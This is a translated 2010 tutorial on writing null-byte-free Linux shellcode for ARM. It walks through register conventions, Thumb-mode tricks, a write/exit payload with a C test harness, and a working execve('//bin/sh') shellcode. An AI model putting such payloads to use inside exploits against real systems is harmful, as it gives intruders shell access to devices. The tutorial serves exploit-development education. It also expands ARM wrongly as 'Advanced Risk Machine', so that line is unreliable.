Title: [English] How to create a shellcode on ARM architecture ?
Language: English
Author: Jonathan Salwan - twitter: @jonathansalwan
Translated by: Arona Ndiaye
Date: 2010-11-25
Original version: http://howto.shell-storm.org/files/howto-4-en.php
I - Introduction to the ARM architecture
=========================================
The ARM architecture was originally conceived for a computer sold by Acorn.
It morphed to then become an independent offer in the market of Embedded Computing.
ARM is the acronym for Advanced Risk Machine, formerly known as Acorn Risk Machine.
The most famous core is the ARM7TDMI which is graced with 3 pipeline levels.
The ARM7TDMI even has a second set of instructions called THUMB which allows 16-bits
addressing, and significant memory gains especially in the field of embedded computing.
The ARM architecture is also quite present in the field of Mobile Computing. Numerous
operating systems have been ported to that architecture. A non-exhaustive list includes:
Linux (used by Maemo on the N900 and Android on the Nexus One), Symbian S60 with the
Nokia N97 or Samsung Player HD, iPhone with the iPhone and iPad and Windows Mobile.
ARM Ltd followed up by releasing the ARM9 core which shifted to a five stage pipeline,
reducing the number of logical operations per clock cycle and therefore nearly doubling
the clock frequency.
II - ARM/Linux shellcode: first attempt
========================================
For the remainder of this document, all tests are assumed to be running on a ARM926EJ-S core.
Let's start by having a look at the register conventions.
Register Alt. Name Usage
r0 a1 First function argument Integer function result Scratch register
r1 a2 Second function argument Scratch register
r2 a3 Third function argument Scratch register
r3 a4 Fourth function argument Scratch register
r4 v1 Register variable
r5 v2 Register variable
r6 v3 Register variable
r7 v4 Register variable
r8 v5 Register variable
r9 v6
rfp Register variable Real frame pointer
r10 sl Stack limit
r11 fp Argument pointer
r12 ip Temporary workspace
r13 sp Stack pointer
r14 lr Link register Workspace
r15 pc Program counter
So registers r0 to r3 will be dealing with function parameters. Registers r4 to r9 will
be for variables. On the other hand register r7 will store the address of the Syscall to execute.
Register r13 points to the stack and register r15 points to the next address to execute.
These two registers can be compared to the ESP and EIP registers under x86, even though register
operations greatly differ between ARM and x86.
Let's start by writing a shellcode that will first call the syscall _write and then the _exit one.
We first need to know the address of the syscalls. We'll do as we usually do:
root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
#define __NR_write (__NR_SYSCALL_BASE+ 4)
#define __NR_writev (__NR_SYSCALL_BASE+146)
#define __NR_pwrite64 (__NR_SYSCALL_BASE+181)
#define __NR_pciconfig_write (__NR_SYSCALL_BASE+273)
root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
#define __NR_exit (__NR_SYSCALL_BASE+ 1)
#define __NR_exit_group (__NR_SYSCALL_BASE+248)
Ok, so we have 4 for _write and 1 for _exit. We know that _write consumes three arguments:
write(int __fd, __const void *__buf, size_t __n)
Which gives us:
r0 => 1 (output)
r1 => shell-storm.org\n (string)
r2 => 16 (strlen(string))
r7 => 4 (syscall)
r0 => 0
r7 => 1
Here's what we get in assembly:
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
# _write()
mov r2, #16
mov r1, pc <= r1 = pc
add r1, #24 <= r1 = pc + 24 (which points to our string)
mov r0, $0x1
mov r7, $0x4
svc 0
# _exit()
sub r0, r0, r0
mov r7, $0x1
svc 0
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write#
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
) = 16
exit(0)
Everything seems to work fine so far, however in order create our shellcode, we should have no null
bytes, and our code is full of them.
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e3a02010 mov r2, #16 ; 0x10
8058: e1a0100f mov r1, pc
805c: e2811018 add r1, r1, #24
8060: e3a00001 mov r0, #1 ; 0x1
8064: e3a07004 mov r7, #4 ; 0x4
8068: ef000000 svc 0x00000000
806c: e0400000 sub r0, r0, r0
8070: e3a07001 mov r7, #1 ; 0x1
8074: ef000000 svc 0x00000000
8078: 6c656873 stclvs 8, cr6, [r5], #-460
807c: 74732d6c ldrbtvc r2, [r3], #-3436
8080: 2e6d726f cdpcs 2, 6, cr7, cr13, cr15, {3}
8084: 0a67726f beq 19e4a48 <__data_start+0x19d49c0>
Under ARM, we have what is called the THUMB MODE which allows us to use 16 bits addressing for our
calls as opposed to 32 bits, which does simplify our life at this stage.
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
# _write()
mov r2, #16
mov r1, pc
add r1, #12
mov r0, $0x1
mov r7, $0x4
svc 0
# _exit()
sub r0, r0, r0
mov r7, $0x1
svc 0
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
When compiling, please use "-mthumb" to indicate that we are switching to "Thumb Mode". The astute
reader will have noticed that I have changed the value of the constant being added to r1. Instead
of the original "add r1, #24", I'm doing "add r1, #12" since we have now switched to "thumb mode",
the address where my chain is at, has been halved. Let's see what that gives us in terms of null bytes.
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e28f6001 add r6, pc, #1
8058: e12fff16 bx r6
805c: 2210 movs r2, #16
805e: 4679 mov r1, pc
8060: 310c adds r1, #12
8062: 2001 movs r0, #1
8064: 2704 movs r7, #4
8066: df00 svc 0
8068: 1a00 subs r0, r0, r0
806a: 2701 movs r7, #1
806c: df00 svc 0
806e: 6873 ldr r3, [r6, #4]
8070: 6c65 ldr r5, [r4, #68]
8072: 2d6c cmp r5, #108
8074: 7473 strb r3, [r6, #17]
8076: 726f strb r7, [r5, #9]
8078: 2e6d cmp r6, #109
807a: 726f strb r7, [r5, #9]
807c: 0a67 lsrs r7, r4, #9
That's better, all that we have left now to do is to modify the following instructions: "svc 0"
and "sub r0, r0, r0".
For SVC we'll use "svc 1" which is perfect in this case.
For "sub r0, r0, r0", the goal is to place 0 in register r0, however we cannot do a "mov r0, #0"
as that will include a null byte. The only trick so far that I've come across is:
sub r4, r4, r4
mov r0, r4
Which gives us:
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
# _write()
mov r2, #16
mov r1, pc
add r1, #14 <==== We changed the address again, since in exit() we've added
mov r0, $0x1 instructions which messed it all up.
mov r7, $0x4
svc 1
# _exit()
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
) = 16
exit(0) = ?
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e28f6001 add r6, pc, #1 ; 0x1
8058: e12fff16 bx r6
805c: 2210 movs r2, #16
805e: 4679 mov r1, pc
8060: 310e adds r1, #14
8062: 2001 movs r0, #1
8064: 2704 movs r7, #4
8066: df01 svc 1
8068: 1b24 subs r4, r4, r4
806a: 1c20 adds r0, r4, #0
806c: 2701 movs r7, #1
806e: df01 svc 1
8070: 6873 ldr r3, [r6, #4]
8072: 6c65 ldr r5, [r4, #68]
8074: 2d6c cmp r5, #108
8076: 7473 strb r3, [r6, #17]
8078: 726f strb r7, [r5, #9]
807a: 2e6d cmp r6, #109
807c: 726f strb r7, [r5, #9]
807e: 0a67 lsrs r7, r4, #9
Here we are, we've got an operational shellcode without any null bytes. In C that gives us:
root@ARM9:/home/jonathan/shellcode/write/C# cat write.c
#include <stdio.h>
char *SC = "\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x10\x22"
"\x79\x46"
"\x0e\x31"
"\x01\x20"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x73\x68"
"\x65\x6c"
"\x6c\x2d"
"\x73\x74"
"\x6f\x72"
"\x6d\x2e"
"\x6f\x72"
"\x67\x0a";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
write.c: In function 'main':
write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
root@ARM9:/home/jonathan/shellcode/write/C# ./write
Length: 44
shell-storm.org
III - execv("/bin/sh", ["/bin/sh"], 0)
=======================================
Now let's study a shellcode called execve(). The structure should look like this:
r0 => "//bin/sh"
r1 => "//bin/sh"
r2 => 0
r7 => 11
root@ARM9:/home/jonathan/shellcode/shell# cat shell.s
.section .text
.global _start
_start:
.code 32 //
add r3, pc, #1 // This whole section is for "Thumb Mode"
bx r3 //
.code 16 //
mov r0, pc // We place the address of pc in r0
add r0, #10 // and add 10 to it (which then makes it point to //bin/sh)
str r0, [sp, #4] // we place it on the stack (in case we need it again)
add r1, sp, #4 // we move what was on the stack to r1
sub r2, r2, r2 // we subtract r2 from itself (which is the same as placing 0 in r2)
mov r7, #11 // syscall execve in r7
svc 1 // we execute
.ascii "//bin/sh"
root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
root@ARM9:/home/jonathan/shellcode/shell# ./shell
# exit
root@ARM9:/home/jonathan/shellcode/shell#
We can verify that the shellcode contains no null bytes !!
8054: e28f3001 add r3, pc, #1
8058: e12fff13 bx r3
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f cmp r7, #47
806c: 6962 ldr r2, [r4, #20]
806e: 2f6e cmp r7, #110
8070: 6873 ldr r3, [r6, #4]
So this is it, to find more ARM shellcodes please browse to: http://www.shell-storm.org/search/index.php?shellcode=arm
IV - References
================
[x] http://www.shell-storm.org
[1] http://fr.wikipedia.org/wiki/Architecture_ARM
[2] http://nibbles.tuxfamily.org/?p=620
[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)
[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)